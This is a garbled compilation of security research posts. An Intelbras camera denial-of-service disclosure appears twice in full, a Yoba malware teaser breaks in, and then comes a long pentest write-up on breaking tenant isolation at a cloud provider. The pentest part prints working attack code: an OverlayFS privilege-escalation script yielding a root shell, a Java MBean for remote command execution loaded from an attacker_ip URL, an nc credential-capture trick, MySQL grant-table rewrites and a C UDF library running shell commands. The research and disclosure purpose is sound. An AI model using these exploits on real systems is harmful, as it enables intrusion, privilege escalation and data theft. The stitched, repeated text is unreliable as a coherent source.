Network-connected surveillance cameras are now widespread in both home and enterprise environments, so securing them is essential to safeguarding physical spaces and sensitive assets. As these devices continue to gain new features and network connectivity capabilities, vulnerabilities in their implementation can have significant security implications.
During our research, we discovered a denial-of-service vulnerability that affects Intelbras IP cameras systems. The flaw resides in a firmware update endpoint that is accessible without authentication and allows anyone with access to the local Wi-Fi network to knock cameras offline. A single request disrupts the camera for only about a minute, but sending periodic requests keeps the device offline indefinitely. We reported the issue to Intelbras, monitored the remediation process, validated the fix in the new firmware, and will now demonstrate the exploitation procedure step-by-step.
Following our notification, Intelbras patched the vulnerability and released updated firmware (R.260804) along with update instructions. A candidate ID of CAN-2026-2035970 has been assigned by MITRE following submission, pending the final CVE assignment. Additionally, the Intelbras team recently informed us that MITRE has classified the vulnerability as Medium, assigning it a score of 5.1 under the CVSS 4.0 framework. The issue discussed in this article is no longer present in the latest firmware version.
Firmware
Intelbras provides firmware files on its official website. While users can manually install these updates via an SD card, the cameras also natively support firmware upgrades over the local network via their web interface and mobile app. We obtained the firmware version v240927 for the iM3B-C (IM3 C) camera, which was the latest available version at the time of our research. According to Intelbras, the same firmware is also compatible with the iMX C, iM4 C, iM5 SC, iME 360 C, and iM7+ FC models. Below, we can view the firmware version and the camera model used as an example.
To provide context, we will explain how the camera’s authentication mechanism works and why it is relevant to accessing the camera’s endpoints. The main firmware component is an ARM binary named sonia, responsible for controlling the kernel drivers used by the camera hardware, authentication, and livestream recording, among other things.
How authentication works
The global.login RPC method handles authentication at the /RPC2_Login endpoint. First, the client, such as the mobile app or a custom script, sends the username and an empty password. The camera responds with an authentication challenge (a set of values to verify the password without transmitting it). This response returns a temporary session, the encryption type in the encryption field, a random value, and a realm (authentication scope). At this stage, a false response is normal and does not indicate a failed login, as the authentication process is not yet complete.
Next, the client calculates the response password from the authentication challenge. It first generates an MD5 (username:realm:original_password) hash as the base. It then calculates a second MD5 (username:random:first_md5) hash, where first_md5 is the result of the previous step. To complete the authentication, the client sends this final result back to /RPC2_Login in a second global.login call, passing the username, calculated password, and temporary session ID.
If the login is accepted, the camera returns true and a new, authenticated session. This session must be used for all subsequent RPC calls, including the camera’s other endpoints, for example, the one that reboots the device or those that expose sensitive information.
Affected endpoint
The affected endpoint is the firmware upgrade route http://<ip_address>/firmwareUpgrade_service/Demo, which lacks authentication checks; furthermore, it fails to verify whether the firmware is actually valid before initiating the upgrade process. This creates a serious issue because the upgrade requires the camera to reboot, and that is precisely when the problem occurs: the camera enters reboot mode and eventually shuts down, appearing offline to the user and anyone who has the camera registered on their device.
PoC: vulnerability exploitation
Now that we have outlined how the vulnerability works, we will use a Python script on an iM3B-C camera to exploit it for demonstration purposes. The exploit contacts the camera’s endpoint to upload firmware. Below, we can see sonia creating the endpoint responsible for the firmware upgrade.
Next, the exploit will hit the endpoint and cause the camera to reboot. Consequently, mobile phones running the Intelbras app will lose connection with the registered device. Below, we can see the camera operating normally: the green light is on and the app is showing it is available for viewing.
The camera is online
After the exploit executes, we can see the effects: the camera goes offline and loses connection to the registered devices.
The camera is offline
The exploit is quite simple: it sends an HTTP POST request with the firmware, which causes the camera to accept the request and initiate the reboot process. It does not matter whether the firmware is original; the reboot process will start regardless.
New firmware version
After we notified Intelbras about this flaw in the endpoint implementation, the company contacted the OEM vendor. As a result, a new firmware version was released that requires authentication to initiate an update through this endpoint.
Below, we can compare the new firmware, which validates cookies and session data, with the old firmware, which performed no authentication checks and proceeded directly to the update routine.
Real risk
An attacker can remotely trigger the camera firmware upgrade and reboot process without authenticating or supplying a valid firmware image. This may cause the device to go offline, which results in a denial-of-service condition preventing legitimate users from accessing live monitoring or managing the camera.
The potential impact is significant due to the number of affected users. The Intelbras Mibo Smart app, which the company provides to connect and manage the devices mentioned in this report, has over 4,000,000 downloads. Brazil represents the largest user base, followed by Paraguay, Ecuador, Colombia, Argentina, Chile, Peru, Bolivia, Uruguay, and Venezuela. As a result, exploitation of this issue affects a large number of users.
Takeaways
This is a medium-severity vulnerability that Intelbras is already aware of. The issue has been addressed in a newer firmware release (R.260804 along with update instructions), which mitigates this attack vector. Because the vulnerability directly affects the availability and normal operation of the affected cameras, it is highly recommended that users verify the firmware version currently installed on their devices and update to the latest available version as soon as possible. Keeping the firmware up to date is an essential security practice, especially for internet-connected surveillance devices, as outdated versions may remain exposed to known vulnerabilities.
Network-connected surveillance cameras are now widespread in both home and enterprise environments, so securing them is essential to safeguarding physical spaces and sensitive assets. As these devices continue to gain new features and network connectivity capabilities, vulnerabilities in their implementation can have significant security implications.
During our research, we discovered a denial-of-service vulnerability that affects Intelbras IP cameras systems. The flaw resides in a firmware update endpoint that is accessible without authentication and allows anyone with access to the local Wi-Fi network to knock cameras offline. A single request disrupts the camera for only about a minute, but sending periodic requests keeps the device offline indefinitely. We reported the issue to Intelbras, monitored the remediation process, validated the fix in the new firmware, and will now demonstrate the exploitation procedure step-by-step.
Following our notification, Intelbras patched the vulnerability and released updated firmware (R.260804) along with update instructions. A candidate ID of CAN-2026-2035970 has been assigned by MITRE following submission, pending the final CVE assignment. Additionally, the Intelbras team recently informed us that MITRE has classified the vulnerability as Medium, assigning it a score of 5.1 under the CVSS 4.0 framework. The issue discussed in this article is no longer present in the latest firmware version.
Firmware
Intelbras provides firmware files on its official website. While users can manually install these updates via an SD card, the cameras also natively support firmware upgrades over the local network via their web interface and mobile app. We obtained the firmware version v240927 for the iM3B-C camera, which was the latest available version at the time of our research. According to Intelbras, the same firmware is also compatible with the iMX C, iM4 C, iM5 SC, iME 360 C, and iM7+ FC models. Below, we can view the firmware version and the camera model used as an example.
To provide context, we will explain how the camera’s authentication mechanism works and why it is relevant to accessing the camera’s endpoints. The main firmware component is an ARM binary named sonia, responsible for controlling the kernel drivers used by the camera hardware, authentication, and livestream recording, among other things.
How authentication works
The global.login RPC method handles authentication at the /RPC2_Login endpoint. First, the client, such as the mobile app or a custom script, sends the username and an empty password. The camera responds with an authentication challenge (a set of values to verify the password without transmitting it). This response returns a temporary session, the encryption type in the encryption field, a random value, and a realm (authentication scope). At this stage, a false response is normal and does not indicate a failed login, as the authentication process is not yet complete.
Next, the client calculates the response password from the authentication challenge. It first generates an MD5 (username:realm:original_password) hash as the base. It then calculates a second MD5 (username:random:first_md5) hash, where first_md5 is the result of the previous step. To complete the authentication, the client sends this final result back to /RPC2_Login in a second global.login call, passing the username, calculated password, and temporary session ID.
If the login is accepted, the camera returns true and a new, authenticated session. This session must be used for all subsequent RPC calls, including the camera’s other endpoints, for example, the one that reboots the device or those that expose sensitive information.
Affected endpoint
The affected endpoint is the firmware upgrade route http://<ip_address>/firmwareUpgrade_service/Demo, which lacks authentication checks; furthermore, it fails to verify whether the firmware is actually valid before initiating the upgrade process. This creates a serious issue because the upgrade requires the camera to reboot, and that is precisely when the problem occurs: the camera enters reboot mode and eventually shuts down, appearing offline to the user and anyone who has the camera registered on their device.
PoC: vulnerability exploitation
Now that we have outlined how the vulnerability works, we will use a Python script on an iM3B-C camera to exploit it for demonstration purposes. The exploit contacts the camera’s endpoint to upload firmware. Below, we can see sonia creating the endpoint responsible for the firmware upgrade.
Next, the exploit will hit the endpoint and cause the camera to reboot. Consequently, mobile phones running the Intelbras app will lose connection with the registered device. Below, we can see the camera operating normally: the green light is on and the app is showing it is available for viewing.
The camera is online
After the exploit executes, we can see the effects: the camera goes offline and loses connection to the registered devices.
The camera is offline
The exploit is quite simple: it sends an HTTP POST request with the firmware, which causes the camera to accept the request and initiate the reboot process. It does not matter whether the firmware is original; the reboot process will start regardless.
New firmware version
After we notified Intelbras about this flaw in the endpoint implementation, the company contacted the OEM vendor. As a result, a new firmware version was released that requires authentication to initiate an update through this endpoint.
Below, we can compare the new firmware, which validates cookies and session data, with the old firmware, which performed no authentication checks and proceeded directly to the update routine.
Real risk
An attacker can remotely trigger the camera firmware upgrade and reboot process without authenticating or supplying a valid firmware image. This may cause the device to go offline, which results in a denial-of-service condition preventing legitimate users from accessing live monitoring or managing the camera.
The potential impact is significant due to the number of affected users. The Intelbras Mibo Smart app, which the company provides to connect and manage the devices mentioned in this report, has over 4,000,000 downloads. Brazil represents the largest user base, followed by Paraguay, Ecuador, Colombia, Argentina, Chile, Peru, Bolivia, Uruguay, and Venezuela. As a result, exploitation of this issue affects a large number of users.
Takeaways
This is a medium-severity vulnerability that Intelbras is already aware of. The issue has been addressed in a newer firmware release (R.260804 along with update instructions), which mitigates this attack vector. Because the vulnerability directly affects the availability and normal operation of the affected cameras, it is highly recommended that users verify the firmware version currently installed on their devices and update to the latest available version as soon as possible. Keeping the firmware up to date is an essential security practice, especially for internet-connected surveillance devices, as outdated versions may remain exposed to known vulnerabilities.
As interest in new AI tools accelerates, cybercriminals are finding ways to exploit the trust surrounding them. Check Point Research (CPR) has uncovered Yoba, a malware campaign using fake GitHub projects impersonating supposed ChatGPT and Claude desktop applications, while abusing legitimate, signed OpenAI and Anthropic executables to help load malware. The campaign shows how the rush to access new AI tools is creating opportunities for social engineering, even when the AI platforms themselves have not been compromised. Key Findings Attackers used fake GitHub projects impersonating supposed ChatGPT and Claude desktop applications to distribute Yoba malware. Legitimate, signed OpenAI and Anthropic […]
This article is published for educational purposes only, to raise awareness among information security professionals. The research was part of an official bug bounty program on a major platform. We notified the cloud provider about the vulnerabilities in line with our responsible disclosure policy, and all security issues we found were fixed in full. The infrastructure analyzed in this post has been anonymized, so the organization cannot be identified. We believe that regular pentests, bug bounty programs, and conversations between developers and independent researchers are the foundation of security for any IT product.
Introduction
Many experts believe that cloud data breaches are mostly the customers’ fault, caused by issues like misconfigured storage or open ports. However, our penetration test of a major cloud provider demonstrated that critical threats can originate within the provider’s own infrastructure.
This analysis is based on a real-world case that won second place in the System Hacking (Web & Logic) category at Russian Pentest Award 2026. It covers the sequential exploitation of several vulnerabilities and logic errors. Together, they led to critical business consequences and a complete bypass of tenant isolation within the cloud. On October 22, 2026, I presented a technical analysis of this case in my “Smash the Tenant Boundary” talk at Security Analyst Summit (SAS 2026).
1. Gaining initial access through a managed Kubernetes cluster
Our cloud infrastructure pentest followed the threat model of an external attacker with the privileges of a regular tenant. The ultimate goal of the attack was to assume full control of the cloud.
1.1. Escaping the worker node
First, we created a resource in the cloud’s managed Kubernetes cluster (v1.25.16+k0s.0). As a rule, the provider deliberately withholds SSH access to worker nodes from tenants, because they’re paying for a managed service, not for running servers themselves. In this case, however, the cluster’s security policies did not prevent the creation of privileged pods with access to host namespaces. This enabled us to deploy a pod and switch the execution context to the host machine running the container.
After this, the bash shell ran on the actual host machine, not inside the container. Because the pod was privileged, we got full root access to the host machine.
Kubelet configuration and API server address
Next, we analyzed its file system. While researching the data plane, we found a Konnectivity service token. This component provides a tunnel between the control plane and the data plane of a Kubernetes cluster. It was this component that opened up interesting opportunities for developing the attack.
Konnectivity service account token
1.2. Analysis of control plane services
After gaining access to the host machine (the worker node mentioned earlier), we analyzed its network interfaces: the user VPC and the Calico interfaces. We extracted the kube-apiserver address (192.168.0.4) from the kubelet configuration file. A subsequent scan of this address revealed the following open ports:
192.168.0.4:9443 open https status=404
192.168.0.4:2380 open
192.168.0.4:6443 open http status=400
192.168.0.4:8132 open
192.168.0.4:9100 open http status=200 title="Node Exporter"
192.168.0.4:9308 open http status=200 title="kube-state-metrics"
Of greatest interest is port 8132, where Konnectivity runs. This service creates a reverse tunnel between the control plane and the data plane so that the data plane is visible from the control plane. This allows management components to communicate with worker nodes, even behind a NAT. The Konnectivity token found earlier granted permission to interact with this service.
Interaction diagram between control plane and data plane via Konnectivity
1.3. Exploiting Konnectivity
To analyze the service on port 8132, we deployed a local test environment. We found that v1.25.16+k0s.0 uses a fork of konnectivty-server, inherited from apiserver-network-proxy in the original Kubernetes.
A quick primer on k0s: this is a minimalist Kubernetes distribution designed for cloud providers. It’s a convenient base for deploying managed clusters (mk8s) with minimal resource overhead. An important feature of k0s is that running user pods on control plane nodes (also known as master nodes) is disabled by default. This meets mk8s security requirements for control plane isolation.
Port 8132, mentioned above, hosts AgentService, which provides a single method: Connect. This method accepts a Packet stream.
The code revealed an interesting detail: when AgentService receives a packet of the type DIAL_REQ from a worker node, the server calls the net.Dial() function on the control plane side. The packet structure for the Connect method looks like this:
In other words, a DIAL_REQ that comes from the agent (worker node) was considered valid and passed to the packet handler for the corresponding type (DIAL_REQ).
//apiserver-network-proxy/pkg/server/server.go:921
func (s *ProxyServer) handleDialRequest(pkt *client.Packet, backend Backend) {
...
dialReq := pkt.GetDialRequest()
resp.GetDialResponse().Random = dialReq.Random
start := time.Now()
conn, err := net.Dial(dialReq.Protocol, dialReq.Address) // we control proto and address
This created an SSRF primitive in the control plane context, which made it possible to reach not only network resources but also host UNIX sockets. D-Bus (- /run/dbus/system_bus_socket) was chosen as a promising target for interaction. The busctl utility revealed the following services available on the control plane:
Using the org.freedesktop.DBus.GetConnectionCredentials method with a custom D-Bus client we wrote on top of github.com/godbus/dbus/v5, we were able to retrieve the UID of the current process. In this case, it was 997. Unfortunately, it wasn’t root, which means we couldn’t instantly start a system service in systemd. However, it was still possible to create a user service (system –user). To do this, we first enabled lingering for our UID:
Since konnectivity-server runs with limited privileges by default, the next step after achieving RCE on the control plane was to escalate those privileges. An analysis of processes on the control plane node revealed a running salt-minion service. Root privileges allow authentication in salt-minion as that minion and further attacks against it (more on that later).
In our case, the target host ran Ubuntu 22.04 with kernel version 5.15.x. Because user namespaces were enabled, a known bug in OverlayFS offered a viable path to privilege escalation: it allows a file to retain the cap_setuid+eip capabilities after namespace manipulation.
To exploit the vulnerability, a copy of the python3 interpreter was created with the setuid capability set, which made it possible to gain root privileges.
rm -rf /tmp/lpe
mkdir /tmp/lpe
cd /tmp/lpe
unshare -rm sh -c '
mkdir l u w m &&
cp /usr/bin/python3 l/ &&
chmod 755 l/python3 &&
setcap cap_setuid+eip l/python3 &&
mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m &&
touch m/*
'
getcap /tmp/lpe/u/python3
/tmp/lpe/u/python3 -c 'import os; os.setuid(0); os.system("id; /bin/sh")'
Confirmation of command execution with root privileges
Gaining root privileges opened up several interesting attack vectors:
We discovered an eth2 interface on the 100.64.0.0/10 subnet on the host. The cloud’s overlay network turned out to be flat, providing visibility into all managed services.
The system stored a salt-minion key pair. This significantly expands the attack surface by providing access to the managed cloud’s own control plane through SaltStack.
2. Adventures in the overlay network
2.1. Victoria stack
An examination of network activity within the managed resource immediately yielded interesting results. Traffic analysis revealed requests from a specific IP address to collect node metrics from our kube-state-metrics instance in mk8s. The IP address turned out to belong to a metrics collector, one of the VictoriaMetrics instances serving numerous managed resources. Like Prometheus, the VictoriaMetrics API exposes a list of targets from which it collects metrics.
When we queried the http://100.64.13.37:8429/api/v1/targets endpoint, we found that each target’s labels contained valuable metadata:
It’s worth noting that a single VictoriaMetrics query returns a full list of control plane hosts that belong to other cloud tenants. Port 6897 indicates that the kube-state-metrics exporter is running, and the profile: kubernetes field further confirms the target type at this address.
We found another host from the Victoria ecosystem on the same network: VictoriaLogs. The service’s web interface on port 9428 also exposes API endpoints that can reveal sensitive data. For example, the /select/logsql/query endpoint allowed unauthorized access to all logs from any managed resource in the cloud.
Analysis of the control plane logs for mk8s revealed a critical detail: the cloud-init scripts generated private SSH keys for the root account by default. These keys were printed to stdout and automatically saved in the shared system logs.
Correlating certain label values from VictoriaMetrics helped us reconstruct the target host’s original names. This makes it easier to filter data in VictoriaLogs and unambiguously match a compromised private key to the target node where it can be used.
Private SSH key in a VictoriaLogs record
We could use the compromised private key for a privileged account to connect to the target nodes over SSH and gain full control of other tenants’ clusters.
Process privileges on the host and available actions in Kubernetes
Logs from other types of services could likely reveal additional sensitive data that would further increase the impact.
2.2. Compromising managed Kafka instances
We explored the option to deploy managed Apache Kafka resources. As expected, we also found these instances on the flat overlay network. One Kafka host had port 9999 open, which turned out to be a JMX Registry.
Discovered Java RMI service on port 9999
The JMX Registry mechanism is inherently vulnerable: it returns an RMI stub-host to the calling client, which allows remotely loading an arbitrary custom MBean class and executing arbitrary code. We ran an nmap -sC scan against the registry port to identify the exact port of the RMI service we would interact with next. To carry out the attack, we prepared a set of Java scripts with the following structure:
JmxCreateMBean.java: connects to the JMX Registry and creates an MBean component, javax.management.loading.MLet (a class that loads classes from a specified URL).
JmxInvoke.java: invokes the selected MBean method through the JMX Registry.
ExecMBean.java and Exec.java a custom lightweight test MBean component with a run(String cmd) method that provides an interface for remote command execution.
The code that handles the connection and initialization of the MBean component looks like this:
//JmxCreateMBean.java
...
import javax.management.remote.JMXConnector;
import javax.management.remote.JMXConnectorFactory;
import javax.management.remote.JMXServiceURL;
public class JmxCreateMBean {
private static final class RewritingSocketFactory extends RMISocketFactory {
private final String fromHost;
private final String toHost;
RewritingSocketFactory(String fromHost, String toHost) {
...
}
@Override
public Socket createSocket(String host, int port) throws IOException {
...
}
@Override
public ServerSocket createServerSocket(int port) throws IOException {
...
}
}
public static void main(String[] args) throws Exception {
...
RMISocketFactory.setSocketFactory(new RewritingSocketFactory(args[2], args[3]));
String url = String.format("service:jmx:rmi:///jndi/rmi://%s:%s/jmxrmi", args[0], args[1]);
try (JMXConnector connector = JMXConnectorFactory.connect(new JMXServiceURL(url), new HashMap<>())) {
var mbsc = connector.getMBeanServerConnection();
try {
ObjectInstance created = mbsc.createMBean(args[4], new ObjectName(args[5]));
System.out.println("CREATED " + created.getObjectName() + " " + created.getClassName());
} catch (InstanceAlreadyExistsException e) {
System.out.println("EXISTS " + args[5]);
}
}
}
}
Below is the implementation of the malicious Exec.java class, which provides methods to execute shell commands and read and write files with Base64 encoding:
// Exec.java
import java.nio.charset.StandardCharsets;
import java.nio.file.Files;
import java.nio.file.Path;
import java.util.Base64;
public class Exec implements ExecMBean {
@Override
public String run(String cmd) throws Exception {
Process p = new ProcessBuilder("/bin/sh", "-c", cmd).redirectErrorStream(true).start();
byte[] out = p.getInputStream().readAllBytes();
int rc = p.waitFor();
return "rc=" + rc + "\n" + new String(out, StandardCharsets.UTF_8);
}
@Override
public String getB64(String path) throws Exception {
return Base64.getEncoder().encodeToString(Files.readAllBytes(Path.of(path)));
}
@Override
public String putB64(String path, String b64) throws Exception {
byte[] data = Base64.getDecoder().decode(b64);
Files.write(Path.of(path), data);
return "wrote " + data.length + " bytes";
}
}
After compiling our custom MBean, we place the resulting JAR file on a remote web server and prepare an mlet.html configuration file so the target server can load it.
Create a standard MLet loader inside the Kafka JVM.
Load the malicious MBean onto the target server by calling the getMBeansFromURL method of the standard MLet component (DefaultDomain:type=MLet). The URL of the prepared file is passed as an argument: http://attacker_ip:8000/mlet.html.
Call the run(String cmd) method of the loaded MBean to achieve RCE on the host.
Kafka process context and node network interfaces
This attack vector was possible because the RMI stub host, which security standards require to be bound only to the loopback interface (127.0.0.1), was mistakenly exposed to the cloud’s shared overlay network.
2.3. Credential leakage through redis-exporter
The next step was to analyze hosts running managed Redis instances. Alongside the main port 6379 used by Redis, each host had a redis exporter service on port 9121. Analysis of its source code revealed a logic vulnerability in how the target parameter was handled:
//redis_exporter/exporter/http.go:47
func (e *Exporter) scrapeHandler(w http.ResponseWriter, r *http.Request) {
target := r.URL.Query().Get("target")
...
if !strings.Contains(target, "://") {
target = "redis://" + target
}
u, err := url.Parse(target)
...
opts := e.options
...
_, err = NewRedisExporter(target, opts)
...
Essentially, the /scrape handler accepts an arbitrary target parameter and attempts to collect metrics from that target with the same credentials the exporter uses to connect to its primary Redis instance. Directing a redis exporter request to an attacker-controlled host, such as one running nc -nvlp 6379, makes it possible to intercept the following credentials:
The captured credentials allowed access to other customers’ Redis instances to read, modify, or delete stored data.
Diagnostic information of the Valkey instance
(Note. A Redis RCE vulnerability was disclosed during the research. Combined with the access obtained, it made it possible to fully compromise other tenants’ services).
2.4. Compromise of managed PostgreSQL (Patroni) clusters
The PostgreSQL DBMS is one of the most popular managed resources alongside mk8s. The next step was therefore to analyze PostgreSQL hosts in the overlay network. Scanning nodes with the PostgreSQL port (5432) open revealed related services on ports 2379 (an etcd distributed store) and 8008 (Patroni REST API). While the Patroni REST API required authentication, access to etcd was completely unrestricted. Analysis of the contents of etcd revealed a critical key, /v2/keys/service/pg-cluster/config, which contained the Patroni configuration.
Write access to this configuration file allows an attacker to set archive_command to a command of their choice and achieve RCE on the target host when the archiving process starts. To avoid waiting for the WAL to fill up through normal activity, a way was found to force archiving even with minimal access privileges:
Update the Patroni configuration with the modified archive_command:
After this parameter is applied, Patroni detects a role conflict for the current primary. The logs show a sequence similar to the following:
cannot be a real primary in standby cluster
Demoting self (demote-cluster)
received fast shutdown request
checkpoint starting: shutdown immediate
Postgres then restarts, and the archiving process runs and executes the injected command:
PostgreSQL process context and node network interfaces
This makes it possible to log in to other tenants’ Postgres DBMS instances and gain full control over the data. As an additional risk factor, files containing credentials for access to S3 storage were found on these hosts.
Database and S3 access parameters in a backup file
This storage holds backups not only of the current instance but also of all other databases in the cloud.
List of backup storage locations in S3
3. Attack on SaltStack management infrastructure
After gaining root access to the control plane node, the focus shifted to the SaltStack configuration management service.
3.1. Analysis of salt fs
The first step was to dump the entire Salt master file system for subsequent static analysis:
Fragment of the Salt Master file list
It contained numerous files.
salt-call --out=newline_values_only cp.list_master saltenv=redacted | sed '/^$/d' | while read -r f; do
mkdir -p "/tmp/dump/$(dirname "$f")"
salt-call --out=newline_values_only cp.get_file "salt://$f" "/tmp/dump/$f" saltenv=redacted >/dev/null
done
Because the Salt version in use was up to date, no known CVEs were applicable. However, we found a custom script (_pillar/somebase.py) with a critical vulnerability among the files on the Salt master. The vendor had written it to service minions running the somebase service. The vulnerability is an insecure SQL query construction through the query.format() method:
A Salt minion can trigger a pillar refresh and pass arbitrary metadata (grains) to the Salt master. This allows an attacker to inject SQL code through the some_id parameter inside grains. When the extension on the Salt master side processes the request, the generated SQL query is executed in the prod-cloud database. As a result, the vulnerability makes an error-based SQL injection possible.
Database error during pillar processing
3.2. Exploiting the SQLi
This vulnerability provided access to various database schemas. The most interesting one was the cloudsmth schema, which contained about 50 tables with metadata of all managed resources and VDS.
Fragment of the table list in the cloudsmth schema
Even more notable was the salt-masters table, which held authentication tokens for all Salt masters.
Records with Salt Master authentication tokens
With these tokens, we could access the Salt master REST API and run arbitrary commands on all minions in the cloud:
By agreement with the vendor, the attack was not developed further. Even so, access to the salt-masters table and the prod-cloud database would have made it possible to take over all resources, including VDS, S3, and other services, in a single step.
4. Other ways to attack the cloud
It’s worth mentioning other ways to get into the overlay network, since some of them also produced interesting cases.
4.1. Exploiting a vulnerability in Managed Valkey
During analysis of the Valkey instances deployed in the cloud infrastructure, we found that the software version in use was vulnerable to CVE-2026-25243. At the time of the analysis, no public proofs of concept (PoCs) or exploits existed. To study how the vulnerability manifests, we analyzed the diagnostic data returned by the INFO command:
The redis_build_id identifier made it possible to determine the exact binary in use. It matched the official build for Ubuntu Noble x86_64.
CVE-2026-25243 is caused by the RESTORE command handling serialized RDB objects incorrectly. When the legacy hash-zipmap encoding is used, the validator accepts a 5-byte length representation for a short key, but the parser that follows interprets the key’s internal bytes as the encoding of the value length. This mismatch can cause an out-of-bounds write that overwrites adjacent heap chunks (heap overflow), which can potentially lead to an arbitrary write primitive. After the successful arbitrary write to adjacent memory regions, strict systemd sandbox rules presented an obstacle:
These parameters block the execution of standard shells, such as /bin/sh. Even so, the /tmp directory was mounted with write access. By modifying the process logic, we could trigger the download and execution of a third-party component from /tmp, which wasn’t covered by the noexec rule. After establishing a stable communication channel, we added an SSH key to /var/lib/valkey/.ssh/authorized_keys. This gave us independent access to the host and the ability to escalate privileges further through standard local privilege escalation (LPE) methods.
Valkey process context and Salt grains parameters
The GRO Frag vulnerability was triggered in this case, but new LPEs are disclosed every week, so there may be many other ways to escalate privileges and continue the attack on the Salt master.
4.2. MySQL
The MySQL database user didn’t have root privileges when the resource was created.
DROP TABLE IF EXISTS mysql.global_grants;
CREATE TABLE mysql.global_grants (
USER char(32) NOT NULL DEFAULT '',
HOST char(255) NOT NULL DEFAULT '',
PRIV char(32) NOT NULL DEFAULT '',
WITH_GRANT_OPTION enum('N','Y') NOT NULL DEFAULT 'N',
PRIMARY KEY (USER, HOST, PRIV)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb3 STATS_PERSISTENT=0;
However, the application logic allowed this user to drop and recreate the table with dynamic privileges:
DROP TABLE IF EXISTS mysql.user;
CREATE TABLE mysql.user (
Host char(255) NOT NULL DEFAULT '%',
User char(32) NOT NULL DEFAULT '',
Select_priv enum('N','Y') NOT NULL DEFAULT 'Y',
Insert_priv enum('N','Y') NOT NULL DEFAULT 'Y',
Update_priv enum('N','Y') NOT NULL DEFAULT 'Y',
Delete_priv enum('N','Y') NOT NULL DEFAULT 'Y',
Create_priv enum('N','Y') NOT NULL DEFAULT 'Y',
Drop_priv enum('N','Y') NOT NULL DEFAULT 'Y',
Reload_priv enum('N','Y') NOT NULL DEFAULT 'Y',
Shutdown_priv enum('N','Y') NOT NULL DEFAULT 'Y',
Process_priv enum('N','Y') NOT NULL DEFAULT 'Y',
File_priv enum('N','Y') NOT NULL DEFAULT 'Y',
Grant_priv enum('N','Y') NOT NULL DEFAULT 'Y',
References_priv enum('N','Y') NOT NULL DEFAULT 'Y',
Index_priv enum('N','Y') NOT NULL DEFAULT 'Y',
Alter_priv enum('N','Y') NOT NULL DEFAULT 'Y',
Show_db_priv enum('N','Y') NOT NULL DEFAULT 'Y',
Super_priv enum('N','Y') NOT NULL DEFAULT 'Y',
Create_tmp_table_priv enum('N','Y') NOT NULL DEFAULT 'Y',
Lock_tables_priv enum('N','Y') NOT NULL DEFAULT 'Y',
Execute_priv enum('N','Y') NOT NULL DEFAULT 'Y',
Repl_slave_priv enum('N','Y') NOT NULL DEFAULT 'Y',
Repl_client_priv enum('N','Y') NOT NULL DEFAULT 'Y',
Create_view_priv enum('N','Y') NOT NULL DEFAULT 'Y',
Show_view_priv enum('N','Y') NOT NULL DEFAULT 'Y',
Create_routine_priv enum('N','Y') NOT NULL DEFAULT 'Y',
Alter_routine_priv enum('N','Y') NOT NULL DEFAULT 'Y',
Create_user_priv enum('N','Y') NOT NULL DEFAULT 'Y',
Event_priv enum('N','Y') NOT NULL DEFAULT 'Y',
Trigger_priv enum('N','Y') NOT NULL DEFAULT 'Y',
Create_tablespace_priv enum('N','Y') NOT NULL DEFAULT 'Y',
ssl_type enum('','ANY','X509','SPECIFIED') NOT NULL DEFAULT '',
ssl_cipher blob NOT NULL,
x509_issuer blob NOT NULL,
x509_subject blob NOT NULL,
max_questions int unsigned NOT NULL DEFAULT 0,
max_updates int unsigned NOT NULL DEFAULT 0,
max_connections int unsigned NOT NULL DEFAULT 0,
max_user_connections int unsigned NOT NULL DEFAULT 0,
plugin char(64) NOT NULL DEFAULT 'caching_sha2_password',
authentication_string text,
password_expired enum('N','Y') NOT NULL DEFAULT 'N',
password_last_changed timestamp NULL DEFAULT NULL,
password_lifetime smallint unsigned DEFAULT NULL,
account_locked enum('N','Y') NOT NULL DEFAULT 'N',
Create_role_priv enum('N','Y') NOT NULL DEFAULT 'Y',
Drop_role_priv enum('N','Y') NOT NULL DEFAULT 'Y',
Password_reuse_history smallint unsigned DEFAULT NULL,
Password_reuse_time smallint unsigned DEFAULT NULL,
Password_require_current enum('N','Y') DEFAULT NULL,
User_attributes json DEFAULT NULL,
PRIMARY KEY (Host, User)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb3 STATS_PERSISTENT=0;
After the database was restarted and a new user was created, that user automatically received full administrator privileges. Next, we added more privileges:
INSERT INTO mysql.global_grants VALUES ('newadm','%','SYSTEM_VARIABLES_ADMIN','Y');
INSERT INTO mysql.global_grants VALUES ('newadm','%','PERSIST_RO_VARIABLES_ADMIN','Y');
INSERT INTO mysql.global_grants VALUES ('newadm','%','SYSTEM_USER','Y');
FLUSH PRIVILEGES;
Having escalated privileges in the database, we now needed to achieve RCE. We compiled a custom UDF library to run system commands.
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
typedef unsigned long long udf_args_type;
typedef struct {
unsigned int arg_count;
unsigned int *arg_type;
char **args;
unsigned long *lengths;
char *maybe_null;
char **attributes;
unsigned long *attribute_lengths;
void *extension;
} UDF_ARGS;
typedef struct {
char maybe_null;
unsigned int decimals;
unsigned long max_length;
char *ptr;
char const_item;
void *extension;
} UDF_INIT;
int sys_eval_init(UDF_INIT *initid, UDF_ARGS *args, char *message) {
if (args->arg_count != 1) {
strcpy(message, "sys_eval requires one argument");
return 1;
}
initid->max_length = 65535;
return 0;
}
void sys_eval_deinit(UDF_INIT *initid) {}
char* sys_eval(UDF_INIT *initid, UDF_ARGS *args, char *result,
unsigned long *length, char *is_null, char *error) {
if (!args->args[0]) { *is_null = 1; return NULL; }
char cmd[65535];
snprintf(cmd, sizeof(cmd), "%.*s", (int)args->lengths[0], args->args[0]);
FILE *pipe = popen(cmd, "r");
if (!pipe) { *is_null = 1; return NULL; }
static char buf[65535];
size_t total = 0;
while (total < sizeof(buf)-1) {
size_t n = fread(buf+total, 1, sizeof(buf)-1-total, pipe);
if (n == 0) break;
total += n;
}
pclose(pipe);
buf[total] = '\0';
*length = total;
return buf;
}
RCE was achieved through a CRLF injection into the configuration file through the cloud provider’s API:
This vector made it possible to inject line breaks and override critical configuration parameters:
default-time-zone="+00:00
secure_file_priv= # removes write restrictions so files can be saved to any directory the MySQL user can access.
plugin_dir=/var/lib/mysql-files/ # sets a trusted directory for loading dynamic libraries.
With the write permissions obtained, a malicious UDF library (shared object) was written to the target directory through the following SQL statement:
SELECT UNHEX('$hex') INTO DUMPFILE '/var/lib/mysql-files/rce.so
We restarted the MySQL database to apply the updated configuration and initialize the registered plug-in:
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'rce.so';
Result of executing id via MySQL UDF
